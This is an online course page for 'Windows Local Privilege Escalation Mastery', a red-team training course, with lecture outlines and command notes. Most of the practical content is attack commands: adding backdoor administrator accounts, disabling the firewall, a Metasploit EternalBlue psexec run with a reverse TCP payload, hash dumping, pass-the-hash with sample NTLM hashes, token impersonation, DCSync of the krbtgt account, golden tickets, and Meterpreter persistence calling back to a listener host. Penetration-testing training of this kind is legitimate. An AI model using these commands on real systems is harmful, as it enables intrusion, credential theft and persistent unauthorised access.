Windows Local Privilege Escalation Mastery – Red Team

Local Privilege Escalation Windows For Pentesters and Read Team
Instructor:
Security Gurus
15 students enrolled
Windows Local Privilege Escalation Manually
Windows Local Privilege Escalation With Metasploit
How to Exploit Active Directory From Windows
Windows Local Privilege Escalation With Evil-WinRM
Windows Local Privilege Escalation With Empire
How to Use Metasploit to Exploit Active Directory
How to Use Empire to Exploit Active Directory
How to Use Evil-WinRM to Exploit Active Directory
How to Use CrackMapExec to Exploit Active Directory
PowerView PowerShell Module

The Windows Privilege Escalation Mastery course is a comprehensive and hands-on training program designed for cybersecurity professionals, system administrators, penetration testers, and anyone seeking to enhance their skills in identifying and exploiting privilege escalation vulnerabilities within Windows environments. This immersive course will equip participants with in-depth knowledge and practical techniques to escalate privileges on Windows systems securely and efficiently.

Key Learning Objectives:

  1. Understanding Windows Privilege Models: Gain insights into Windows privilege models, user permissions, and the underlying mechanisms that govern user access rights.

  2. Exploiting Vulnerabilities: Learn how to identify and exploit common privilege escalation vulnerabilities in Windows, including misconfigurations, weak file permissions, insecure services, and more.

  3. Enumeration Techniques: Master the art of enumerating users, groups, services, and system information to identify potential privilege escalation opportunities.

  4. Kernel Exploits: Explore advanced techniques to escalate privileges through kernel-level exploits, understanding Windows kernel architecture, and bypassing security mechanisms.

  5. Post-Exploitation Strategies: Learn post-exploitation methodologies to maintain persistent access and cover tracks after privilege escalation.

Course Features:

  • Expert Instructors: Learn from seasoned cybersecurity professionals with extensive experience in penetration testing and Windows security.

  • Cutting-Edge Tools: Familiarize yourself with the latest tools and utilities used for Windows privilege escalation.

  • Practical Tips and Best Practices: Get insider tips, tricks, and best practices to conduct privilege escalation assessments effectively and efficiently.

Privilege Escalation - Manually

1
Local User & Group Enumeration
2
Network Enumeration

The commands executed can be found here:


3
Antivirus & Detections
4
Hunting Passwords
5
Tools

The commands executed can be found here:


6
Windows Version and Configuration
7
Sherlock & Watson
8
CVE-2019-1388
9
Schedule Task Privilege Escalation



#change directory to where Jaws is located

cd c:ad


#Run from CMD:

powershell.exe -ExecutionPolicy Bypass -File .jaws-enum.ps1 -OutputFilename JAWS-Enum.txt


#Manually Search

schtasks /query /fo LIST 2>nul | findstr TaskName

Get-ScheduledTask | where {$_.TaskPath -notlike "Microsoft*"} | ft TaskName,TaskPath,State

schtasks /query /fo LIST /v > C:Usersstudent1Desktoptask.txt



#Edit the file executed by Administrator

net user /add rabakuku Password123

net localgroup administrators rabakuku /add



#reboot

#open cmd

shutdown /r /f

10
Unquoted Service Path
11
SEImpersonate
12
ZeroLogon CVE-2020-1472


Zerologon, tracked as CVE-2020-1472, is an authentication bypass vulnerability in the Netlogon Remote Protocol (MS-NRPC), a remote procedure call (RPC) interface that Windows uses to authenticate users and computers on domain-based networks. It was designed for specific tasks such as maintaining relationships between members of domains and the domain controller (DC), or between multiple domain controllers across one or multiple domains and replicating the domain controller database.

13
Windows - Privilege Escalation and Local Enumeartion Cheat Sheet
14
Recommended Windows Hack The Box machines

Local Privilege Escalation With EvilWinRM

1
Basic commands

AMSI

AntiMalware Scan Interface

Windows AMSI is integrated into the following components:


    PowerShell (scripts, interactive use, and dynamic code evaluation)

    PowerShell ISE (Windows PowerShell-IDE)

    Windows Script Host (Wscript.exe and Cscript.exe) (scripts and dynamic code evaluation)

    User Account Control (UAC) (using a different type of AMSI-provider)

    Office365 (JavaScript/VBA)

    Office365 (Documents)

    .Net Framework 4.8 (Scanning for all assemblies)

    Windows Management Instrumentation (WMI)



2
Upload and Download

upload: local files can be auto-completed using tab key. It is not needed to put a remote_path if the local file is in the same directory as evil-winrm.rb file.

  • usage: upload local_path remote_path

download: it is not needed to set local_path if the remote file is in the current directory.

  • usage: download remote_path local_path

services: list all services. No administrator permissions needed.

3
PowerView
4
Build SharpSploit - Enumeration
5
User, Group, and Network

User Enumeration

Get current username

echo %USERNAME% || whoami

$env:username

List user privilege

whoami /priv

whoami /groups

List all users

net user

whoami /all

Get-LocalUser | ft Name,Enabled,LastLogon

Get-ChildItem C:Users -Force | select Name

List logon requirements; useable for bruteforcing

net accounts

Get details about a user (i.e. administrator, admin, current user)

net user administrator

net user admin

net user %USERNAME%

List all local groups

net localgroup

Get-LocalGroup | ft Name

Get details about a group (i.e. administrators)

net localgroup administrators

Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource


Network Enumeration

List all network interfaces, IP, and DNS.

ipconfig /all

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address

Get-DnsClientServerAddress -AddressFamily IPv4 | ft

List current routing table

route print

Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

List the ARP table

arp -A

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

List all current connections

netstat -ano

List firewall state and current configuration

netsh advfirewall firewall dump

netsh firewall show state

netsh firewall show config

List firewall's blocked ports

$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports

Disable firewall

netsh firewall set opmode disable

netsh advfirewall set allprofiles state off

List all network shares

net share

SNMP Configuration

reg query HKLMSYSTEMCurrentControlSetServicesSNMP /s

Get-ChildItem -path HKLM:SYSTEMCurrentControlSetServicesSNMP -Recurse

6
Tools - Local Priv Esc

Windows Local Privilege Escalation With Empire

1
Basics and Installing


sudo apt install powershell-empire

sudo powershell-empire

2
Getting a Shell + CME + Powershell
3
Getting a shell + Evil-WinRM + Bat File

Listeners

help

uselistener http

info <-  it will display all the options that you can tweak

BindIP to Kali’s IP address

Port to any port number other than 80

execute


4
Privilege Escalation 1 - ReverShell With Unquoted Path
5
Privilege Escalation 2 - Stager with NT/SYSTEM
6
Privilege Escalation 3

net user raba Password123 /add

net localgroup administrators raba /add

net localgroup "Remote Management Users" raba /add

remove old

7
Elevated with Empire - Mimikatz and pth
8
Pth + dcsync + dcshadow -1

Windows Local Privilege Escalation With Metasploit

1
Intro

Metasploit is a penetration testing framework that makes hacking simple. It's an essential tool for many attackers and defenders. Point Metasploit at your target, pick an exploit, what payload to drop, and hit Enter.

2
Exploiting Ethernal Blue Metasploit

Check if it is exploitable:

use exploit/windows/smb/ms17_010_psexec

set rhosts 192.168.1.53

set smbpass Password123

set smbuser student1

set smbdomain pentesting.local

set paylod windows/meterpreter/reverse_tcp

run

/


Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.

3
Enumeration 1 - User, Groups, Computers

use Auxiliary/gather/Kerberos_enumusers

sysinfo

ps

post/windows/gather/enum_ad_users

post/windows/gather/enum_domain_group_users

post/windows/gather/enum_logged_on_users

post/windows/gather/enum_ad_user_comments

post/windows/gather/enum_domain_group_users

post/windows/gather/enum_domain

post/windows/gather/enum_computers

post/windows/gather/resolve_sid.rb

run post/windows/gather/enum_ad_computers.rb

post/windows/gather/local_admin_search_enum

post/windows/gather/enum_ad_service_principal_names


4
Enumeration 2 - Arp, Tokens, Patches

run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24

ipconfig

netstat

route

#Windows Gather Enumerate Domain Admin Tokens (T

post/windows/gather/enum_tokens

post/windows/gather/enum_patches

post/windows/gather/credentials/winscp

#Windows Gather Powershell Environment Setting E

post/windows/gather/enum_powershell_env

post/windows/gather/enum_ie

post/windows/gather/bloodhound


for More

search post/windows/gather/


5
Enumeration 3 - Shares, SMB, and More

use post/windows/gather/enum_shares

use post/windows/gather/enum_services

use post/windows/gather/enum_snmp

use post/windows/gather/enum_chrome

use post/windows/gather/enum_av_excluded

use post/windows/gather/enum_putty_saved_sessions

use post/windows/gather/enum_applications

use post/windows/gather/win_privs

use post/windows/gather/forensics/browser_history

for more:

search post/windows/gather/

6
Exploit Suggestor


LOCAL_EXPLOIT_SUGGESTER

run post/multi/recon/local_exploit_suggester

post/windows/gather/win_privs

7
Exploit Suggestor 2
8
Back door add user

post/windows/manage/add_user

set addtogroup true

set username test

set group administrators

set session 2

post/windows/manage/delete_user

9
HashDump With Metasploit

search hashdump

search credential_collector

post/windows/gather/hashdump

post/windows/gather/credentials/credential_collector

meterpreter > load kiwi

meterpreter > help


Testing Credentials

crackmapexec smb 192.168.1.50 192.168.1.55 -u ippsec -p Password123!

10
Lateral Movement - PTH With metasploit

Pass The Hash with Psexec: Due to perform this jobs, only we need is NTLM hash of a privileged user. Thats exactly what we gained before with mimikatz.


  • use exploit/windows/smb/psexec

    • set SMBDomain pentesting.local

    • set smbuser ippsec

    • set SMBPass e52cac67419a9a22c17ec4fe2a5374cb:2b576acbe6bcfda7294d6bd18041b8fe

    • set rhosts 192.168.1.55

    • set lport 4457

options

load kiwi

creds_msv

00000000000000000000000000000000

see if user is part of Domain Users

use post/windows/gather/enum_domain_group_users

11
Lateral Movement To DC - Metasploit

Pass The Hash with Psexec: Due to perform this jobs, only we need is NTLM hash of a privileged user. Thats exactly what we gained before with mimikatz.


  • use exploit/windows/smb/psexec

    • set SMBDomain pentesting.local

    • set smbuser s4vitar

    • set SMBPass 00000000000000000000000000000000:58a478135a93ac3bf058a5ea0e8fdb71

    • set rhosts 192.168.1.50

    • set lport 4457

options

load kiwi

creds_msv

00000000000000000000000000000000

see if user is part of Domain Users

use post/windows/gather/enum_domain_group_users


use post/windows/gather/credentials/domain_hashdump

scanner/smb/impacket/secretsdump

12
Steal_Token and Dumping All Hashes - Metasploit

In metasploit framework there is an extension which is called incognito which allows us to perform activities such as token stealing and manipulation.These kind of activities are important in the privilege escalation stage of a penetration test because if we can steal the token of an administrator for example we can perform higher privilege operations on the target.

use post/windows/gather/credentials/domain_hashdump

use incognito

list_tokens -u

impersonate_token PENTESTING\Administrator

13
DcSync With Metasploit

From Domain Controller

meterpreter > use incognito

meterpreter > impersonate_token PENTESTING\Administrator

meterpreter > load kiwi

meterpreter > help

meterpreter > kiwi_cmd '"lsadump::dcsync /user:Administrator"'

meterpreter > kiwi_cmd '"lsadump::dcsync /user:krbtgt"'

14
Golden Ticket With Metasploit

use post/windows/escalate/golden_ticket


Golden Ticket attacks can be carried out against Active Directory domains, where access control is implemented using Kerberos tickets issued to authenticated users by a Key Distribution Service.

The attacker gains control over the domain’s Key Distribution Service account (KRBTGT account) by stealing its NTLM hash. This allows the attacker to generate Ticket Granting Tickets (TGTs) for any account in the Active Directory domain.

With valid TGTs, the attacker can request access to any resource/system on its domain from the Ticket Granting Service (TGS).

Because the attacker is controlling the component of the access control system that is responsible for issuing Ticket Granting Tickets (TGTs), then he has the golden ticket to access any resource on the domain.

kerberos_ticket_list

kerberos_ticket_use /root/.msf4/loot/20210501011013_default_192.168.1.50_golden.ticket_888290.bin

15
BACKDOOR METERPRETER SERVICE 1

After going through all the hard work of exploiting a system, it’s often a good idea to leave yourself an easier way back into the system for later use. This way, if the service you initially exploited is down or patched, you can still gain access to the system. Metasploit has a Meterpreter script, persistence.rb, that will create a Meterpreter service that will be available to you even if the remote system is rebooted.

meterpreter > run persistence -h

meterpreter > run persistence -U -i 5 -p 4458 -r 192.168.1.223

meterpreter > exit


use exploit/multi/handler

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.1.223

set LPORT 4458

exploit

When a user logs in to the remote system, a Meterpreter session is opened up for us.


16
BACKDOOR METERPRETER SERVICE 2
You can view and review the lecture materials indefinitely, like an on-demand channel.
Definitely! If you have an internet connection, courses on Udemy are available on any device at any time. If you don't have an internet connection, some instructors also let their students download course lectures. That's up to the instructor though, so make sure you get on their good side!

Be the first to add a review.

Please, login to leave a review